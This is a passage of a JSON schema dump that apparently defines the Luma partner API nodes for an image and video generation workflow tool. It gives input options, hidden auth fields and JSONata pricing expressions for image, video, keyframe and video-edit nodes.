"api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m,\"photon-flash-1\")\n ? {\"type\":\"usd\",\"usd\":0.0027}\n : $contains($m,\"photon-1\")\n ? {\"type\":\"usd\",\"usd\":0.0104}\n : {\"type\":\"usd\",\"usd\":0.0246}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageModifyNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "image_weight": ["FLOAT", {"tooltip": "Weight of the image; the closer to 1.0, the less the image will be modified.", "default": 0.1, "min": 0.0, "max": 0.98, "step": 0.01}], "model": ["COMBO", {"multiselect": false, "options": ["photon-1", "photon-flash-1"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "image_weight", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageModifyNode", "display_name": "Luma Image to Image", "description": "Modifies images synchronously based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m,\"photon-flash-1\")\n ? {\"type\":\"usd\",\"usd\":0.0027}\n : $contains($m,\"photon-1\")\n ? {\"type\":\"usd\",\"usd\":0.0104}\n : {\"type\":\"usd\",\"usd\":0.0246}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["ray-2", "ray-flash-2", "ray-1-6"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["1:1", "16:9", "9:16", "4:3", "3:4", "21:9", "9:21"]}], "resolution": ["COMBO", {"default": "540p", "multiselect": false, "options": ["540p", "720p", "1080p", "4k"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "9s"]}], "loop": ["BOOLEAN", {"default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"luma_concepts": ["LUMA_CONCEPTS", {"tooltip": "Optional Camera Concepts to dictate camera motion via the Luma Concepts node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "aspect_ratio", "resolution", "duration", "loop", "seed"], "optional": ["luma_concepts"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaVideoNode", "display_name": "Luma Text to Video", "description": "Generates videos synchronously based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"ray-flash-2\": {\n \"5s\": {\"4k\":3.13,\"1080p\":0.79,\"720p\":0.34,\"540p\":0.2},\n \"9s\": {\"4k\":5.65,\"1080p\":1.42,\"720p\":0.61,\"540p\":0.36}\n },\n \"ray-2\": {\n \"5s\": {\"4k\":9.11,\"1080p\":2.27,\"720p\":1.02,\"540p\":0.57},\n \"9s\": {\"4k\":16.4,\"1080p\":4.1,\"720p\":1.83,\"540p\":1.03}\n }\n };\n\n $m := widgets.model;\n $d := widgets.duration;\n $r := widgets.resolution;\n\n $modelKey :=\n $contains($m,\"ray-flash-2\") ? \"ray-flash-2\" :\n $contains($m,\"ray-2\") ? \"ray-2\" :\n $contains($m,\"ray-1-6\") ? \"ray-1-6\" :\n \"other\";\n\n $durKey := $contains($d,\"5s\") ? \"5s\" : $contains($d,\"9s\") ? \"9s\" : \"\";\n $resKey :=\n $contains($r,\"4k\") ? \"4k\" :\n $contains($r,\"1080p\") ? \"1080p\" :\n $contains($r,\"720p\") ? \"720p\" :\n $contains($r,\"540p\") ? \"540p\" : \"\";\n\n $modelPrices := $lookup($p, $modelKey);\n $durPrices := $lookup($modelPrices, $durKey);\n $v := $lookup($durPrices, $resKey);\n\n $price :=\n ($modelKey = \"ray-1-6\") ? 0.5 :\n ($modelKey = \"other\") ? 0.79 :\n ($exists($v) ? $v : 0.79);\n\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["ray-2", "ray-flash-2", "ray-1-6"]}], "resolution": ["COMBO", {"default": "540p", "multiselect": false, "options": ["540p", "720p", "1080p", "4k"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "9s"]}], "loop": ["BOOLEAN", {"default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"first_image": ["IMAGE", {"tooltip": "First frame of generated video."}], "last_image": ["IMAGE", {"tooltip": "Last frame of generated video."}], "luma_concepts": ["LUMA_CONCEPTS", {"tooltip": "Optional Camera Concepts to dictate camera motion via the Luma Concepts node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "resolution", "duration", "loop", "seed"], "optional": ["first_image", "last_image", "luma_concepts"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageToVideoNode", "display_name": "Luma Image to Video", "description": "Generates videos synchronously based on prompt, input images, and output_size.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"ray-flash-2\": {\n \"5s\": {\"4k\":3.13,\"1080p\":0.79,\"720p\":0.34,\"540p\":0.2},\n \"9s\": {\"4k\":5.65,\"1080p\":1.42,\"720p\":0.61,\"540p\":0.36}\n },\n \"ray-2\": {\n \"5s\": {\"4k\":9.11,\"1080p\":2.27,\"720p\":1.02,\"540p\":0.57},\n \"9s\": {\"4k\":16.4,\"1080p\":4.1,\"720p\":1.83,\"540p\":1.03}\n }\n };\n\n $m := widgets.model;\n $d := widgets.duration;\n $r := widgets.resolution;\n\n $modelKey :=\n $contains($m,\"ray-flash-2\") ? \"ray-flash-2\" :\n $contains($m,\"ray-2\") ? \"ray-2\" :\n $contains($m,\"ray-1-6\") ? \"ray-1-6\" :\n \"other\";\n\n $durKey := $contains($d,\"5s\") ? \"5s\" : $contains($d,\"9s\") ? \"9s\" : \"\";\n $resKey :=\n $contains($r,\"4k\") ? \"4k\" :\n $contains($r,\"1080p\") ? \"1080p\" :\n $contains($r,\"720p\") ? \"720p\" :\n $contains($r,\"540p\") ? \"540p\" : \"\";\n\n $modelPrices := $lookup($p, $modelKey);\n $durPrices := $lookup($modelPrices, $durKey);\n $v := $lookup($durPrices, $resKey);\n\n $price :=\n ($modelKey = \"ray-1-6\") ? 0.5 :\n ($modelKey = \"other\") ? 0.79 :\n ($exists($v) ? $v : 0.79);\n\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaReferenceNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Image to use as reference."}], "weight": ["FLOAT", {"tooltip": "Weight of image reference.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}, "optional": {"luma_ref": ["LUMA_REF", {}]}}, "input_order": {"required": ["image", "weight"], "optional": ["luma_ref"]}, "is_input_list": false, "output": ["LUMA_REF"], "output_is_list": [false], "output_name": ["luma_ref"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaReferenceNode", "display_name": "Luma Reference", "description": "Holds an image and weight for use with Luma Generate Image node.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaConceptsNode": {"input": {"required": {"concept1": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}], "concept2": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}], "concept3": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}], "concept4": ["COMBO", {"multiselect": false, "options": ["None", "truck_left", "pan_right", "pedestal_down", "low_angle", "pedestal_up", "selfie", "pan_left", "roll_right", "zoom_in", "over_the_shoulder", "orbit_right", "orbit_left", "static", "tiny_planet", "high_angle", "bolt_cam", "dolly_zoom", "overhead", "zoom_out", "handheld", "roll_left", "pov", "aerial_drone", "push_in", "crane_down", "truck_right", "tilt_down", "elevator_doors", "tilt_up", "ground_level", "pull_out", "aerial", "crane_up", "eye_level"]}]}, "optional": {"luma_concepts": ["LUMA_CONCEPTS", {"tooltip": "Optional Camera Concepts to add to the ones chosen here."}]}}, "input_order": {"required": ["concept1", "concept2", "concept3", "concept4"], "optional": ["luma_concepts"]}, "is_input_list": false, "output": ["LUMA_CONCEPTS"], "output_is_list": [false], "output_name": ["luma_concepts"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaConceptsNode", "display_name": "Luma Concepts", "description": "Camera Concepts for use with Luma Text to Video and Luma Image to Video nodes.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageNode2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired image. 1\u20136000 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for generation.", "options": [{"key": "uni-1", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output image aspect ratio. 'auto' lets the model pick based on the prompt.", "default": "auto", "multiselect": false, "options": ["auto", "3:1", "2:1", "16:9", "3:2", "1:1", "2:3", "9:16", "1:2", "1:3"]}], "style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 9 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}]}}}, {"key": "uni-1-max", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output image aspect ratio. 'auto' lets the model pick based on the prompt.", "default": "auto", "multiselect": false, "options": ["auto", "3:1", "2:1", "16:9", "3:2", "1:1", "2:3", "9:16", "1:2", "1:3"]}], "style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 9 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageNode2", "display_name": "Luma UNI-1 Image", "description": "Generate images from text using the Luma UNI-1 model.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": ["model.image_ref"]}, "expr": "\n (\n $m := widgets.model;\n $refs := $lookup(inputGroups, \"model.image_ref\");\n $base := $m = \"uni-1-max\" ? 0.1 : 0.0404;\n {\"type\":\"usd\",\"usd\": $round($base + 0.003 * $refs, 4)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageEditNode2": {"input": {"required": {"source": ["IMAGE", {"tooltip": "Source image to edit."}], "prompt": ["STRING", {"tooltip": "Description of the desired edit. 1\u20136000 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for editing.", "options": [{"key": "uni-1", "inputs": {"required": {"style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 8 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "uni-1-max", "inputs": {"required": {"style": ["COMBO", {"tooltip": "Style preset. 'auto' picks based on the prompt; 'manga' applies a manga/anime aesthetic and requires a portrait aspect ratio (2:3, 9:16, 1:2, 1:3).", "default": "auto", "multiselect": false, "options": ["auto", "manga"]}], "web_search": ["BOOLEAN", {"tooltip": "Search the web for visual references before generating.", "default": false}]}, "optional": {"image_ref": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 8 reference images for style/content guidance.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["source", "prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageEditNode2", "display_name": "Luma UNI-1 Image Edit", "description": "Edit an existing image with a text prompt using the Luma UNI-1 model.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": ["model.image_ref"]}, "expr": "\n (\n $m := widgets.model;\n $refs := $lookup(inputGroups, \"model.image_ref\");\n $base := $m = \"uni-1-max\" ? 0.103 : 0.0434;\n {\"type\":\"usd\",\"usd\": $round($base + 0.003 * $refs, 4)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32TextToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the video generation.", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9"]}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "10s"]}], "loop": ["BOOLEAN", {"tooltip": "Make the video loop seamlessly. Only available with 5s duration.", "default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "resolution", "duration", "loop", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32TextToVideoNode", "display_name": "Luma Ray 3.2 Text to Video", "description": "Generate a video from a text prompt using Luma's Ray 3.2 model.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"360p\": {\"5s\": 0.06, \"10s\": 0.18},\n \"540p\": {\"5s\": 0.15, \"10s\": 0.45},\n \"720p\": {\"5s\": 0.3, \"10s\": 0.9},\n \"1080p\": {\"5s\": 1.2, \"10s\": 3.6}\n };\n {\"type\": \"usd\", \"usd\": $lookup($lookup($p, widgets.resolution), widgets.duration)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32ImageToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "loop": ["BOOLEAN", {"tooltip": "Make the video loop seamlessly. Not available when an end_frame is set.", "default": false}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"start_frame": ["IMAGE", {"tooltip": "First frame of the generated video."}], "end_frame": ["IMAGE", {"tooltip": "Last frame of the generated video."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "resolution", "loop", "seed"], "optional": ["start_frame", "end_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32ImageToVideoNode", "display_name": "Luma Ray 3.2 Image to Video", "description": "Generate a video from a start and/or end frame using Luma's Ray 3.2 model. Image-anchored generations are always 5 seconds.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\"360p\": 0.06, \"540p\": 0.15, \"720p\": 0.3, \"1080p\": 1.2};\n {\"type\": \"usd\", \"usd\": $lookup($p, widgets.resolution)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32KeyframeNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Guide image to place at the chosen moment of the output video."}], "position": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to place this image on the output video's timeline.", "options": [{"key": "Fraction of duration (0.0-1.0)", "inputs": {"required": {"fraction": ["FLOAT", {"tooltip": "Where in the output video this image applies (0.0 = start, 1.0 = end).", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}]}}}, {"key": "Absolute time (seconds)", "inputs": {"required": {"seconds": ["FLOAT", {"tooltip": "Time in seconds from the start of the output video where this image applies.", "default": 0.0, "min": 0.0, "max": 10.0, "step": 0.1, "display": "number"}]}}}]}]}, "optional": {"keyframes": ["LUMA_RAY32_KEYFRAME", {"tooltip": "Optional earlier keyframes to chain with this one."}]}}, "input_order": {"required": ["image", "position"], "optional": ["keyframes"]}, "is_input_list": false, "output": ["LUMA_RAY32_KEYFRAME"], "output_is_list": [false], "output_name": ["keyframes"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaRay32KeyframeNode", "display_name": "Luma Ray 3.2 Keyframe", "description": "Anchor a guide image to a position on the Ray 3.2 output video timeline. Connect this to the 'keyframes' input of the Luma Ray 3.2 Keyframes to Video node; chain several together via the optional 'keyframes' input below.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32KeyframesToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5s", "10s"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "keyframes": ["LUMA_RAY32_KEYFRAME", {"tooltip": "Keyframe sequence from Luma Ray 3.2 Keyframe nodes (at least 2)."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "resolution", "duration", "seed", "keyframes"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32KeyframesToVideoNode", "display_name": "Luma Ray 3.2 Keyframes to Video", "description": "Generate a video that interpolates through a sequence of guide images, each anchored to a position on the timeline, using Luma Ray 3.2. Build the sequence with Luma Ray 3.2 Keyframe nodes (at least 2).", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"360p\": {\"5s\": 0.06, \"10s\": 0.18},\n \"540p\": {\"5s\": 0.15, \"10s\": 0.45},\n \"720p\": {\"5s\": 0.3, \"10s\": 0.9},\n \"1080p\": {\"5s\": 1.2, \"10s\": 3.6}\n };\n {\"type\": \"usd\", \"usd\": $lookup($lookup($p, widgets.resolution), widgets.duration)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32VideoEditNode": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Source video to edit. Up to 18 seconds."}], "prompt": ["STRING", {"tooltip": "Describes the desired edit.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "strength": ["COMBO", {"tooltip": "How strongly to preserve vs. reimagine the source. 'auto' lets Ray 3.2 choose; adhere_* preserves the most, flex_* is balanced, reimagine_* changes the most.", "default": "auto", "multiselect": false, "options": ["auto", "adhere_1", "adhere_2", "adhere_3", "flex_1", "flex_2", "flex_3", "reimagine_1", "reimagine_2", "reimagine_3"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "resolution", "strength", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "generation_id"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LumaRay32VideoEditNode", "display_name": "Luma Ray 3.2 Video Edit", "description": "Re-render an existing video under a new prompt using Luma Ray 3.2 (restyle, relight, add or remove elements) while keeping the original motion. Source video up to 18 seconds; the edited video keeps the source's length.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/video/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $p := {\n \"360p\": {\"min\": 0.54, \"max\": 1.08},\n \"540p\": {\"min\": 0.72, \"max\": 1.44},\n \"720p\": {\"min\": 1.08, \"max\": 2.16},\n \"1080p\": {\"min\": 2.16, \"max\": 4.32}\n };\n $r := $lookup($p, widgets.resolution);\n {\"type\": \"range_usd\", \"min_usd\": $r.min, \"max_usd\": $r.max, \"format\": {\"note\": \"(by source length)\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaRay32VideoReframeNode": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Source video to reframe. Up to 30 seconds."}], "prompt": ["STRING", {"tooltip": "Describes how the newly exposed canvas areas should be filled.", "default": "", "multiline": 